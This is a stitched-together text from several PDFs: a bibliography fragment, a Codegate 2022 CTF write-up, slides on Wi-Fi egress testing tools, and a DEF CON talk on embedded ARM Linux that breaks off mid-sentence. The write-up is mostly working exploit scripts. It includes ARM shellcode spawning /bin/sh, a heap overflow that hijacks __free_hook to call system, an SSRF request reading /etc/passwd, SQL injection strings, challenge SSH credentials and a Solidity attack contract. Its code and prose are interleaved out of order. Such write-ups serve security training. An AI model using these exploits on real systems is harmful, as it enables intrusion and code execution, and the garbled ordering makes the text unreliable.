vulnerabilities. In Network and Distributed System Security Symposium, pages 3–17, San Diego, CA, February 2000. [23] David A. Wheeler. Flawfinder. http://www.dwheeler.com/flawfinder. [24] C. Wieser, M. Laakso, and H. Schulzrinne. Security testing of sip implementations. Technical report, Columbia University, Department of Computer Science, 2003. 5
pdf
codegate WriteUp By StrawHat.md Author: Straw Hat codegate WriteUp By StrawHat.md Pwn ARVM VIMT isolated File-V Web CAFE superbee babyFirst myblog Crypto PrimeGenerator Dark Arts Blockchain Ankiwoom Invest Pwn ARVM from pwn import * context.arch='arm' context.log_level='debug' sc=["mov r0,#0","mov r1,#0x2000","mov r2,#12","mov r7,#3","svc #0"] #["add r4,pc,#128","ldr r5,[r4]","mvn r5,r5","str r5,[r4]"] sc+=["mov r0,#0x2004","mov r1,#0","mov r2,#0","mov r3,#0x2000","ldr r7,[r3]","svc #0"] pay=asm('\n'.join(sc)) print(pay.hex()) p=remote('15.165.92.159',1234) p.sendafter(b'Your Code :',pay) p.sendlineafter(b'Edit',b'1') p.recvuntil(b'Secret code :') p.sendlineafter(b'Code?',p.recvline().strip()) p.send(p32(1)+b'/bin/sh\x00') p.send(p32(11)+b'/bin/sh\x00') p.interactive() VIMT #! /usr/bin/python2 # coding=utf-8 import sys from pwn import * import hashlib import requests #context.log_level = 'debug' context(arch='amd64', os='linux') def Log(name): log.success(name+' = '+hex(eval(name))) if(len(sys.argv)==1): #local sh = process(["./app"]) else: #remtoe # ctf@3.38.59.103 -p 1234 conn = ssh(user='ctf', host='3.38.59.103', port=1234, password="ctf1234_smiley") sh = conn.run("/home/ctf/app") x = 113 y = 38 cur_x = 0 # pos to be written cur_y = 0 def setY(val): sh.send('\x1B') sh.sendline('set y=%d'%(val)) def setX(target, C): global cur_x if(target==cur_x): sh.send(C) cur_x = (cur_x+6)%x return setY(y-1) while(True): if(cur_x==target): setY(cur_y) sh.send(C) cur_x = (cur_x+6)%x break else: isolated singal handler race condition race between pop & clear will hijack stack_ptr to -1 sh.send('A') cur_x = (cur_x+6)%x def Compile(): sh.send('\x1B') sh.sendline('compile') sh.recvuntil('-'*113) sh.recvuntil('-'*113) def WriteLine(cont): global cur_y for i in range(0, len(cont)): setX(i, cont[i]) WriteLine('int main(){system("cat flag");}//') Compile() sh.interactive() ''' def Test(x): arr = [0]*x for i in range(10000): arr[(i*6)%x] = 1 for i in arr: if(i==0): print "No" return print "Yes" ''' from pwn import * #context.log_level='debug' p=remote('3.38.234.54',7777)#process("./isolated") #gdb.attach(p,"set detach-on-fork off\nc\n") def ist(op,*args): res=p8(op) for i in args: res+=i File-V editContent doesn't change the totalsize. So it can overflow. return res def dat(v): return b"f"+p32(v) def stk(): return b"U" payload=b"" payload+=ist(10,dat(1)) # turn on log wait=(ist(6,dat(1),dat(2))+ist(6,dat(3),dat(3)))*20 label_race=len(payload) payload+=ist(2,dat(0xffffffff),dat(0))*2 # race payload+=ist(1)*16 payload+=ist(9) payload+=ist(6,stk(),stk())*25 payload+=ist(6,dat(1),dat(2)) payload+=ist(6,stk(),stk()) payload+=ist(10,dat(1)) payload+=ist(3,stk(),dat(0x64f70-0x4f432)) payload+=ist(7,dat(label_race)) #payload+=ist(2,dat(0xfffffff8),dat(0)) # safepush -8 #payload+=ist(6,dat(0xfffffff8),stk()) #popcmp -8 #payload+=ist(8,dat(label_race)) # beq label_race #payload+=10*ist(10,dat(1)) #payload+=ist(2,dat(0x10),stk()) #payload+=ist(10,dat(1)) #debug #payload+=ist(7,dat(label_hack)) assert(len(payload)<=768) print(payload) p.send(payload) #gdb.attach(p,"handle SIGINT noprint nostop pass\nhandle all noprint nostop pass\nhandle SIGSEGV print stop nopass\nc\n") p.interactive() from pwn import * # s = process("./file-v") s = remote("3.36.184.9","5555") # s = remote("39.102.55.191","49154") # context.terminal = ['ancyterm', '-s', 'host.docker.internal', '-p', '15111', '-t', 'iterm2', '-e'] def cmd(cmd): s.sendlineafter(b">",cmd) def ls(): cmd(b'a') def select(file): cmd(b'b') s.sendlineafter(b"Enter filename:",file) def editName(size,name): cmd(b'1') s.sendlineafter(b"Enter the length of filename:",str(size).encode()) s.sendafter(b"Enter filename:",name) def editContent(size,buf): cmd('4') s.sendlineafter(b"Enter the size of content:",str(size).encode()) s.sendafter(b"Enter content:",buf) select(b'flag') editName(0x500,b'123') cmd(b'b') s.sendline(b'N') select(b'flag') editContent(0x420,b'123') cmd(b'5') cmd(b'b') select(b'flag') cmd(b'3') s.recvuntil(b'38 |') libc = ELF("./libc-2.27.so") tmp = s.recvline().split(b' ')[4:12] libc.address = u64(''.join([i.decode('hex') for i in tmp]))-0x3e7d60 success(hex(libc.address)) # gdb.attach(s,'b *$rebase(0x3172)\nc') cmd(b'b') s.sendline(b'N') cmd(b'c') s.sendlineafter(b'Enter the length of filename:',b'10') s.sendafter(b"Enter filename:",b'123') select(b'123') # raw_input(">") editContent(7,b'123') editName(0x90,cyclic(0x80)) editName(0x20,cyclic(0x20)) Web CAFE u can find admin’s password in CAFE.zip superbee editName(0x20,cyclic(0x20)) editContent(0x57+0x50,b'123') # payload = cyclic(103)+p64(0)+p64(0x21) # payload += cyclic(112)+p64(0)+p64(0x41) # payload = payload.ljust(247,b'\x00')+p64(libc.sym['__free_hook']-8) payload = cyclic(183)+p64(0)+p64(0x141)+p64(libc.sym['__free_hook']-8) # gdb.attach(s,'b *$rebase(0x2aea)\nc') editContent(0xb7+0x50,payload) # gdb.attach(s,'b *$rebase(0x286b)\nc') editName(0x40,b'123') # gdb.attach(s,'b *$rebase(0x286b)\nc') editName(0x40,b'/bin/sh\x00'+p64(libc.sym['system'])) s.interactive() Get this: AesEncrypt([]byte(auth_key), []byte(auth_crypt_key)) auth_crypt_key was not set,so we could use empty string to decode. And get the key Th15_sup3r_s3cr3t_K3y_N3v3r_B3_L34k3d babyFirst use ssrf to read file. GET http://localhost/admin/authkey HTTP/1.1 Host: 3.39.49.174:30001 DNT: 1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.6 Connection: close HTTP/1.1 200 OK Date: Sat, 26 Feb 2022 13:30:38 GMT Content-Length: 96 Content-Type: text/plain; charset=utf-8 Connection: close 00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22 784011607 Md5(admin_id+auth_key) f5b338d6bca36d47ee04d93d08c57861=e52f118374179d24fa20ebcceb95c2af Can not start with file url:file:///etc/passwd myblog http://127.0.0.1:8081/blog/read?idx='or substring(system- property("flag"),1,1)=%27c%27%20and%20%271 Crypto PrimeGenerator from pwn import * HOST = "15.164.247.87" POST = 9001 r = remote(HOST,POST) r.recvuntil(b'>') r.sendline(b'2') n = r.recvline() c = r.recvline() print(n) print(c) sieve = [3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229] res = [list(range(k)) for k in sieve] m = [-pow(2,-216,k)%k for k in sieve] while True: try: for _ in range(30): r.recvuntil(b'>') r.sendline(b'1') r.recvuntil(b'>') r.sendline(b'10') for i in range(10): x = int(r.recvline()) for j in range(49): y = x*m[j]%sieve[j] if y in res[j]: z = res[j].index(y) res[j].pop(z) print(n) print(c) print(res) for _ in res: if len(_)!=1: break else: break except: break for i in range(49): res[i] = res[i][0] print(n) print(c) print(res) try: r.interactive() except: pass b' n : 100201892937190481079718907146265229883252498506894954586497353837548111285943200631109 728707986562638444064517835258160420469317107219683957245076750197450444342387037734237 960394485624628525228618959607076390653979104938671165337048728576350651433068084787815 393631381235510601698007250328357644230082117239\n' b'c : 189218329124858971485575550454686794263161412000576227398596730421150559986456170869569 368656105224656977939259741904841683472590246611266327795125886629182509119523104810383 017795639170856616388470172460009183674769563913796235502445391752917823379429174729853 18349161196423441379524909544404090660791508440\n' [2, 0, 0, 8, 2, 6, 18, 14, 14, 30, 6, 16, 22, 39, 3, 24, 55, 31, 16, 18, 76, 9, 6, 10, 28, 56, 86, 76, 54, 26, 59, 2, 22, 78, 142, 10, 100, 118, 22, 9, 141, 107, 48, 18, 136, 108, 210, 155, 9] sieve = [3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229] res = [2, 0, 0, 8, 2, 6, 18, 14, 14, 30, 6, 16, 22, 39, 3, 24, 55, 31, 16, 18, 76, 9, 6, 10, 28, 56, 86, 76, 54, 26, 59, 2, 22, 78, 142, 10, 100, 118, 22, 9, 141, 107, 48, 18, 136, 108, 210, 155, 9] upper = crt(res,sieve)<<216 n = 100201892937190481079718907146265229883252498506894954586497353837548111285943200631109 728707986562638444064517835258160420469317107219683957245076750197450444342387037734237 960394485624628525228618959607076390653979104938671165337048728576350651433068084787815 393631381235510601698007250328357644230082117239 c = 189218329124858971485575550454686794263161412000576227398596730421150559986456170869569 368656105224656977939259741904841683472590246611266327795125886629182509119523104810383 017795639170856616388470172460009183674769563913796235502445391752917823379429174729853 18349161196423441379524909544404090660791508440 PR.<x> = PolynomialRing(Zmod(n)) f = x+upper p0 = f.small_roots(X=2**216,beta=0.4) p = int(p0[0]+upper) q = int(n/p) print(p,q) m = int(pow(c,int(pow(65537,-1,(p-1)*(q-1))),n)) print(m) print(int.to_bytes(m,128,'big')) Dark Arts 780235001889555114898959217422051691351338489853576296884924076804774816700041466375679 8786962671240717642828873560322578155026153690436598563274505670931 128425272763364691467838740681474835135365539143802401855195312131272422598401457074763 81279155769509226989276902042308067590429066547857653623865247133069 272756718119210248318167765820120656039891252824446272020278885296412260766403487438542 646211679493756809438487675709386023072564805290060659574740912316444068794217071445087 280639680479807105143279201578299153346562008100623716979617977883434235945596528646056 199976942288793541287074565257025993209932892 b'\x00codegate2022{ef9fdfaae10f7afe84bea52307966a9e}\x00\'\xcd"v\xcd\xdbY\xb0\x82D\xab\ x1ag\'\xfe\x1b\xf8\xc0,\x83\x11\xaa\x89\x9b^\xdb\x10\x1a\x15\xc6\xe0\xd5\x84- \xb2z\xd1\xb2f\xc6\x0f\x0bw\xab\xe9\xef!\xd9\xba9\xb4\x88\xd7\xb0\x14\xa3uQ\x86\x02\xf5 \xde\xb1e\xf9t\xbf\xcf\x18\x19\xbf\xf2\x17\x19\x0fX@E\xec\\' from pwn import * from Crypto.Util.number import * from tqdm import trange import hashlib import time HOST = "13.209.188.120" POST = 9003 r = remote(HOST,POST) # r = process(['python', 'chal.py']) # Chapter 1 print(r.recvline()) for _ in trange(64): result = 0 for i in range(10): r.sendline(b'0') r.sendline(str(2**i).encode()) lines = r.recvlines(10) for line in lines: result += int(line.strip()) if result != 0: r.sendline(b'1') r.sendline(b'1') else: r.sendline(b'1') r.sendline(b'0') print("Chapter 1 completed") # Chapter 2 print(r.recvline()) for _ in trange(64): res = [0]*5 for i in range(2000): r.sendline(b'0') r.sendline(str(i).encode()) lines = r.recvlines(2000) for line in lines: res[int(line.strip())] += 1 s = 0 for i in range(5): s += (res[i]-400)**2 # print(s) if s < 6000: r.sendline(b'1') r.sendline(b'1') else: r.sendline(b'1') r.sendline(b'0') print("Chapter 2 completed") # Chapter 3 print(r.recvline()) A3 = matrix(GF(5),2200,2144) k = 0 for i in trange(10000): r.sendline(b'0') r.sendline(str(i).encode()) lines = r.recvlines(10000) for i, line in enumerate(lines): if line.strip()==b'1': x = int.from_bytes(hashlib.sha256(str(i).encode()).digest(), "big") for j in range(64): A3[k,j] = x % 5 x = x // 5 A3[k,j+64] = A3[k,j]^2 for j in range(64): for _ in range(j): A3[k,128+j*(j-1)/2+_] = 2*A3[k,j]*A3[k,_] k += 1 if k>=2144: if A3.rank()==2144: break b3 = [3]*k + [0]*(2200-k) ans = A3.solve_right(b3)[:64] print('my:',ans) r.sendline(b'1') for i in range(64): r.sendline(str((5-int(ans[i]))%5).encode()) Blockchain Ankiwoom Invest Using the feature of delegatecall,modifying the log.info is modifying the donator.length.The calculate method of mapping is sha3(key.pos),so the array is stored in sha3(pos)+index.Try some times until get a suitable contract address which satisfies the slot position of balance[msg.sender] is after donator[0].Overwrite the value of proxy contract slot2 to bypass length check of donator.Then, use modifyDonater(uint256) to change the slot value of balance[msg.sender],and index fills in the value of sha3(msg.sender.pos(7))-sha3(pos(2)).We can get enough balance to solve the problem. The extcodesize(_user) is bypassed by writing the call in the constructor. # Chapter 4 print(r.recvline()) p = int(r.recvline().strip()) q = int(r.recvline().strip()) A4 = matrix(ZZ,51,51) A4[0,0] = 1<<800 for i in range(16): A4[i+1,i+1] = 1 for i in range(34): r.sendline(b'0') r.sendline(str(i).encode()) A4[i+17,0] = int(r.recvline().strip())<<400 x = hashlib.sha256(str(i).encode()).digest() for j in range(16): A4[i+17,j+1] = int.from_bytes(x, "big")<<400 x = hashlib.sha256(x).digest() A4[i+17,i+17] = p<<400 C4 = A4.transpose().LLL() print(C4[-1]) r.sendline(b'1') for i in range(16): print(b'my', str(int(-C4[-1][i+1])%p).encode()) r.sendline(str(int(-C4[-1][i+1])%p).encode()) r.interactive() pragma solidity ^0.8.0; contract attack{ address public target1 = 0xa5b42cD5348f2C3Df5409177FAa4e7Bb1C0bB08C; // address public target2 = 0x26a77595Aa80350af52A14116E197E53b8B92601; // invest // function launch1() public{ // (bool success0, bytes memory result0) = target1.call(abi.encodeWithSignature("init()")); // require(success0,"fail0"); // } constructor() public { // (bool success0, bytes memory result0) = target1.call(abi.encodeWithSignature("init()")); // require(success0,"fail0"); (bool success, bytes memory result) = target1.call(abi.encodeWithSignature("mint()")); require(success,"fail"); string memory name = "amd"; (bool success1, bytes memory result1) = target1.call(abi.encodeWithSignature("buyStock(string,uint256)",name,1)); require(success1,"fail1"); (bool success2, bytes memory result2) = target1.call(abi.encodeWithSignature("donateStock(address,string,uint256)",address(0),n ame,1)); require(success2,"fail2"); } function launch3(uint index) public returns(bytes memory){ (bool success, bytes memory result) = target1.call(abi.encodeWithSignature("modifyDonater(uint256)",index)); require(success,"fail"); string memory name = "codegate"; (bool success1, bytes memory result1) = target1.call(abi.encodeWithSignature("buyStock(string,uint256)",name,1)); require(success1,"fail1"); (bool success2, bytes memory result2) = target1.call(abi.encodeWithSignature("isSolved()")); require(success2,"fail2"); return result2; } }
pdf
Guests ‘N Goblins: EXPOSING WI-FI EXFILTRATION RISKS AND MITIGATION TECHNIQUES Presenter: Pete Desfigies !  By day : Security Analyst @ TELUS Communications !  By night: break things !  Hobbies: Break more things Presenter: Joshua Brierton !  By Day: SIEM Geek !  By Night: Boat Geek !  Hobbies: Cards against humanity + watching Holy Mountain Presenter: Naveed Islam !  By day: Intelligent Analysis team lead @ TELUS Communications !  By night: Family management, as a father of 2, +1 on the way anytime now !  Hobbies: Learning about religion, science and philosophy etc. Traveling and starting projects that just not complete. Background Anonymity is a big thing Many ways to hide your identity 1.  TOR 2.  L2P 3.  Spotflux 4.  Hola Proxyham? Introduction Wifi is everywhere Is Wifi secure enough? It has its own network isolation WPA 2.0 with AES added Sure it is secure, no one can get in from outside And yet, it is open to public for “competitive” convenience Problem Space Public Wifi = Risks !  “Wifi Exfiltration” !  Host Implication Security Challenges Insufficient authentication, a catch 22 situation Lack of Egress monitoring Default SSL Spoofed MAC addresses Intro to Our Concept ! A custom mobile App + batch scripts + two servers with dedicated IPs. ! Scans for open Wifi ! Tags the location ! Connects automatically ! Learns about the network ! Collects public fingerprints ! Syncs with a central server Programs + Tools Used !  Python !  Java !  Bash !  SQLITE !  JSON !  Apache !  github !  Crash course mentality !  Android SDK Toolkit Hardware + Tools !  Laptop Kali Linux !  Android Phone !  CentOS Servers Automated Tookit - Wargarble !  Warscanble – Initial Area Scan / Discovery !  Wargarble – Connectvity / Data collection !  Warrepo - Reporting / Results What is WarScanble basically ! Nutshell definition: ! Dead simple WiFi scanner to coordinate the gathering of access points for whatever purpose. How do it do? Step 1 ! Scan for all access points How do it do? Step 2 ! Put all results into a hashable object that stores ! Static values ! Location values paired with signal strength How do it do? Step 3 ! Enhance location data by comparing new data to existing data and select a “candidate” Updating entries ! Location and Strength approach Selecting a candidate Roadmap? Oh yes. ! Better triangulation algorithms ! Real-time WiFi map across all devices ! Easier integration points for any other tool to use Wargarble – Part II !  Purpose: Connectivity + Data collection !  What does it do: - Strips and parses the info that Warscanble collected, specifically looking for open networks. -  Connects and determines public gateway -  Makes outbound handshake connections to remote server to determine what ports are open based on range or ports specified in config. -  Stores results in database for final phase of reporting and plotting !  How Does it work: - Uses a combination of bash/sed/awk/Sqlite and python sockets to remote server “Warrepo” – Part III ●  Purpose: ○ Multiport traffic ACK server ○ Central collection of information ●  What does it do: ○  Opens all ports to let anyone connect using any TCP port and responds. This provides a way to find out allowed Egress ports from anywhere for Wargarble. ○  Collects results from Warscanble’s data and plots centrally. ●  How does it work: ○  SQLlite + PHP + IPtables + bash Mitigation For The Masses !  Audit and review your traffic and firewall policies both ways !  Tune your appliances and/or applications !  Plan / deploy / segment your infrastructure !  Listen to your minions + cross dept relationships are key
pdf
It’s assembler, Jim, but not as we know it! Morgan Gangwere DEF CON 26 Hello, I’m Morgan Gangwere and this is It’s assembler, Jim, but not as we know it! We’re going to be looking at some fun shenanigans you can have with embedded devices running Linux (and other things) 1 Dedication Never forget the shoulders you stand on. Thanks, Dad First a shout-out to my father. He’s an awesome man who taught me the importance of understanding tools and then making your own. This is him using a chisel with just one hand – and a tool. 2 whoami Hoopy Frood Been fiddling with Linux SOCs since I fiddled with an old TS-7200 EmbeddedARM board I’ve used ARM for a lot of services: IRC, web hosting, etc. I’ve built CyanogenMod/LineageOS, custom ARM images, etc. So who am I? I’m the hoopiest frood that ever did cross the galaxy, been doing Linux-y stuff since I was a wee lad making off with one of my father’s dev kits, and I’ve built my own tools for some time. 3 A word of note There are few concrete examples in this talk. I’m sorry. This sort of work is One part science One part estimation Dash of bitter feelings towards others Hint of “What the fuck was that EE thinking?” A lot comes from experience. I can point the way, but I cannot tell the future. There’s a lot of seemingly random things. Trust me, It’ll make sense. 4 ARMed to the teeth From the BBC to your home. So let’s talk about ARM. 5 Short history of ARM Originally the Acorn RISC machine Built for the BBC Micro! Acorn changed hands and became ARM Holdings Acorn/ARM has never cut silicon! Fun fact: Intel has produced ARM- based chips (StrongARM and XSCale) and still sometimes does! The ISA hasn’t changed all that much. ARM, the Acorn RISC Machine, was built for the BBC Micro in 1985 by Acorn Computer, predominantly designed by the hands of Sophie Wilson. Later, ARM was changed to Advanced RISC machine, and later into simply ARM. The ARM ISA has stayed the same since ARM2.. Mostly. There’s been changes to keep up with the time, but you could read ARM assembler from the 80s and understand it today. 6 Network appliances, phones and routers have been running on top of ARM for quite a while: It’s cheap, low power and versatile enough to do what most people want it to do. These small linux-based ARM devices have become fixtures in our houses and in enterprise. We’re now seeing ARM-based laptops, with ASUS’ NovaGo coming to market and several other devices based on Qualcomm’s Snapdragon processor line running full desktop OS’s on them and getting days of battery life. 7 The whole line of IKEA’s TRADFRI Smart LED lighting solutions run on ARM Cortex M0 chips, including the dimmers and bulbs. They go for months on a CR2032 battery. 8 Embedded Linux 101 So let’s talk about Embedded Linux devices in general. 9 Anatomy of an Embedded Linux device. Fundamentally 3 parts Storage SoC/Processor RAM Everything else? Bonus. PHYs on everything from I2C, USB to SDIO Cameras and Screens are via MIPI-defined protocols, CSI and DSI respectively At one point, they all look mostly the same. Embedded Linux devices consist of three general parts: An SoC, Storage, and RAM. Most everything else is just a peripheral of some kind, like displays, USB devices, SDIO and more. 10 What is an SoC? Several major vendors: Allwinner, Rockchip (China) Atheros, TI, Apple (US) Samsung (Korea) 80-100% of the peripherals and possibly storage is right there on die Becomes a “just add peripherals” design Some vendors include SoCs as a part of other devices, such as TI's line of DSPs with an ARM SoC used for video production hardware and the like. In some devices, there may be multiple SoCs: A whole line of Cisco-owned Linux-based teleconferencing hardware has big banks of SoCs from TI doing video processing on the fly alongside a DSP. For those not familiar, an SoC, or System on Chip, is a “Just Add Peripherals” building- block in the design of devices. There’s an SoC in your smartphone, for instance, that handles most of your phone’s peripherals, including radios and display adapters. There’s a handful of major players in the field, including several in the US, China, and Korea. SoCs are often bundled with application-specific silicon, such as a whole line of TI DSP chips which have an ARM SoC on-die to control it, complete with Ethernet PHY and a little bit of RAM. 11 What is an SoC? Internal bus Peripheral Controller LTE modem Ethernet PHY I2C/SPI External Peripherals RAM (sometimes) Storage Controller SD Card/NAND/etc GPU CPU Core(s) All the different SoC designs look astoundingly similar, so here’s a really generic look at it. Everything rides on an internal bus of some kind, with peripherals sitting on some kind of controller. There’s sometimes a secondary storage controller to make external storage such as SATA, NAND, or other storage technologies available early on or through some kind of abstraction layer. 12 Once you’ve seen one 13 You’ve seen them all 14 They only really differ in the specific features: Here we see that this Snapdragon has 4G of LPDDR4 stacked on top, but also has 2 PCIe lanes! 15 Even Intel makes SoCs! This is a Bay Trail SoC – I suspect similar to what’s in the MinnowBoard or something similar. As you can see, it even includes Legacy component support, such as SMBUS! 16 Storage Two/Three common flavors MTD (Memory Technology Device): Abstraction of flash pages to partitions Storage is another story entirely. The first type of storage is MTD, or Memory Technology Device. This is NAND Flash at its core, and it gets abstracted out later by both the bootloader and Linux itself. 17 Storage Two/Three common flavors MTD (Memory Technology Device): Abstraction of flash pages to partitions eMMC: Embedded MultiMedia Card Then we have the venerable eMMC, which are a form of the now oldschool MMC, or MultiMedia Card, specifications. 18 Storage Two/Three common flavors MTD (Memory Technology Device): Abstraction of flash pages to partitions eMMC: Embedded MultiMedia Card, SPI SD card SD cards And now we have SD cards. Secure Digital has seen a few revisions of the form factor over time, but the protocol has stayed mostly the same. SD cards are almost 1:1 compatible with MMC cards and eMMC in a legacy, 4-bit mode that was used in The Old Days. 19 Storage Two/Three common flavors MTD (Memory Technology Device): Abstraction of flash pages to partitions eMMC: Embedded MultiMedia Card, SPI SD card SD cards However, seeing an exposed SD card is rare, but is a real jackpot opportunity. For example, the first generation Kindle uses it, but so does the Raspberry Pi. 20 Storage Two/Three common flavors MTD (Memory Technology Device): Abstraction of flash pages to partitions eMMC: Embedded MultiMedia Card, SPI SD card SD cards Then there’s UFS Introduced in 2011 for phones, cameras: High Bandwidth storage devices Uses a SCSI model, not eMMC’s linear model UFS is a new standard, somewhat common now in phones, for storing things. It’s fast – Gigabits per second fast – and could very well become a standard for more devices in the future. It’s also much more compatible with the classic SCSI way of looking at disks, which makes it ideal for things like Windows. 21 Variations Some devices have a small amount of onboard Flash for the bootloader Commonly seen on phones, for the purposes of boostrapping everything else Every vendor has different tools for pushing bits to a device and they all suck. Samsung has at least three for Android Allwinner based devices can be placed into FEL boot mode Fastboot on Android devices There’s some mix-and-match when it comes to storage though. There’s often at least some baked-in flash that handles loading the bootloader, called the IPL, which is useful for bootstrapping everything else when push comes to shove. Every vendor has their own shitty way of cramming data onto the boot storage of the device, and they’re all pretty bad. 22 RAM The art of cramming a lot in a small place Vendors are seriously tight- assed Can you cram everything in 8MB? Some routers do. The WRT54G had 8M of RAM, later 4M Modern SoCs tend towards 1GB, phones 4-6G In pure flash storage, ramfs might be used to expand on- demand files (http content) Let’s talk about RAM. Sometimes, you get a lot of RAM – some phones are pushing 8 gigabytes of RAM just to hold Android. On the other hand, the WRT54G and a whole host of newer devices ship with 8MB of RAM. Talk about tight-assed. 23 Peripherals Depends on what the hardware has: SPI, I2C, I2S, etc are common sights. Gonna see some weird shit SDIO wireless cards “sound cards” over I2S GSM modems are really just pretending to be Hayes AT modems. Power management, LED management, cameras, etc. “We need an Ethernet PHY” becomes “We hooked an Ethernet PHY up over USB” Linux doesn’t care if they’re on-die or not, it’s all the same bus. Now, on to peripherals. If your target application talks with these, you’re going to get nice and cozy with wiggling electrons. This ultimately depends on what the SoC provides, which is a function of what the specific application needs. SPI, I2C and such are common. However, this hasn’t stopped some astoundingly dumb choices or seemingly weird choices. 24 Peripherals Depends on what the hardware has: SPI, I2C, I2S, etc are common sights. Gonna see some weird shit SDIO wireless cards “sound cards” over I2S GSM modems are really just pretending to be Hayes AT modems. Power management, LED management, cameras, etc. “We need an Ethernet PHY” becomes “We hooked an Ethernet PHY up over USB” Linux doesn’t care if they’re on-die or not, it’s all the same bus. Remember that Snapdragon 820? It uses a PCIe lane, a UART and PCM channel to do WLAN and Bluetooth. Instead of cramming everything onto the PCIe lane, they chose to make it so that Bluetooth output and input are just lines on the internal audio codec. 25 Peripherals Depends on what the hardware has: SPI, I2C, I2S, etc are common sights. Gonna see some weird shit SDIO wireless cards “sound cards” over I2S GSM modems are really just pretending to be Hayes AT modems. Power management, LED management, cameras, etc. “We need an Ethernet PHY” becomes “We hooked an Ethernet PHY up over USB” Linux doesn’t care if they’re on-die or not, it’s all the same bus. So many devices are going to be weird as fuck though. GSM modems for example are just Hayes AT modems with some extra glue. 26 Peripherals Depends on what the hardware has: SPI, I2C, I2S, etc are common sights. Gonna see some weird shit SDIO wireless cards “sound cards” over I2S GSM modems are really just pretending to be Hayes AT modems. Power management, LED management, cameras, etc. “We need an Ethernet PHY” becomes “We hooked an Ethernet PHY up over USB” Linux doesn’t care if they’re on-die or not, it’s all the same bus. Not GPIO! GPIO Sometimes, all the fancy LEDs on your device aren’t GPIO pins on the SoC. Instead, they’re an external peripheral. This is a Nextbit Robin, where the flash LED is a part of the camera hardware and the LEDs on the back are actually controlled by a TI LED controller that has its own tiny ISA. 27 Bootloader One Bootloader To Rule Them All: Das U-Boot Uses a simple scripting language Can pull from TFTP, HTTP, etc. Might be over Telnet, Serial, BT UART, etc. Some don’t use U-Boot, use Fastboot or other loaders Android devices are a clusterfuck of options Without the bootloader, you’d be nowhere, though. U-Boot is by far the most common bootloader for embedded devices, with routers and the like being the most common users. Phones and such are a whole different show, with a whole variety of options kicking around. Chances are, however, if it’s not a phone it probably uses U- Boot. 28 Life and death of an SoC* DFU Check • First chance to load fresh code onto device, use for bootstrapping and recovery IPL • Does signature checking of early boot image • Probably SoC vendor provided Bootloader • Early UART/network wakeup is likely here. Load Kernel into RAM • Some devices are dumb and load multiple kernels until one fails or they run out • U-Boot is really running a script here. Start kernel • Kernel has to wake up (or re-wake) devices it wants. It can’t make any guarantees. Userland • Home of the party. • Where the fun attacks are * Some restrictions apply The bootloader’s job comes right after the IPL: Its job is to wake up any devices that haven’t been as needed such as storage, load the kernel into memory, and kick it off. We’ve seen this dance before. This, as it turns out, is a whole lot cleaner on ARM than it is on Intel’s clusterfuck of a design. 29 Life and death of an SoC* DFU Check • First chance to load fresh code onto device, use for bootstrapping and recovery Early Boot • Does signature checking of early boot image • Probably SoC vendor provided U-Boot • Early UART/network wakeup is likely here. Load Kernel into RAM • Some devices are dumb and load multiple kernels until one fails or they run out • U-Boot is really running a script here. Start kernel • Kernel has to wake up (or re-wake) devices it wants. It can’t make any guarantees. Userland • Home of the party. • Where the fun attacks are * Some restrictions apply The real fun is when you can attack the earliest part of the boot sequence, the DFU or Device Firmware Update sequence. DFU mode is how fresh code is loaded on without any consent from the higher levels of the environment. This is also the place that most – if not every – OEM puts the most time into: Keeping someone else from fixing their problems becomes a steady stream of new devices. U-Boot and the userland are the other two fun parts of this, for the obvious reasons. 30 Root Filesystem: Home to All A root filesystem contains the bare minimum to boot Linux: Any shared object libraries, binaries, or other content that is necessary for what that device is going to do Fluid content that needs to be changed or which is going to be fetched regularly is often stored on a Ramdisk; this might be loaded during init's early startup from a tarball. This is a super common thing to miss because it's a tmpfs outside of /tmp this is a super common way of keeping / “small” This often leads to rootfs extractions via tar that seem "too big“ There are sometimes multiple root filesystems overlaid upon each other Android uses this to some extent: /system is where many things really are Might be from NFS, might try NFS first, etc. A device with no code to run is a device without a purpose. We need a root filesystem. Sometimes you get several, overlaid upon one another. Android does this and so does your LiveCD. 31 Attacking these devices So how do we go about attacking these sorts of devices? 32 Step 0: Scope out your device Get to know what makes the device tick Version of Linux Rough software stack Known vulnerabilities Debug shells, backdoors, admin shells, etc. ARM executables are fairly generic Kobo updates are very, VERY generic and the Kobo userland is very aware of this. Hardware vendors are lazy: many devices likely similar to kin-devices Possibly able to find update for similar device by same OEM Always. Always start with step 0: Get to know the device. Figure out what makes it go. Remember that ARM executables are really generic, and this is used by many vendors to ship the same code to different platforms. Vendors are lazy: they want to produce the most devices with the least amount of work possible. 33 Don’t Reinvent The Wheel Since so many embedded linux devices are similar, or run similarly outdated software, you may well have some of your work cut out for you OWASP has a whole task set devoted to IoT security: https://www.owasp.org/index.php/OWASP_Internet_of_Things_Pr oject Tools like Firmwalker (https://github.com/craigz28/firmwalker) and Routersploit (https://github.com/threat9/routersploit) are already built and ready. Sometimes, thinking like a skid can save time and energy for other things, like beer! Firmware Security blog is a great place to look, including a roundup of stuff (https://firmwaresecurity.com/2018/06/03/list-of- iot-embedded-os-firmware-tools/ ) Don’t reinvent the wheel. Tools like Firmwalker and Routersploit, as well as the information on the OWASP IoT Security task set are meant to help streamline finding the information you need out of filesystems, updates, etc. If these sorts of things start really getting interesting, go read the roundups by the firmware Security blog. 34 Option 1: It’s a UNIX system, I know this If you can get a shell, sometimes just beating against your target can be fun Limited to only what is on the target (or what you can get to the target) Can feel a bit like 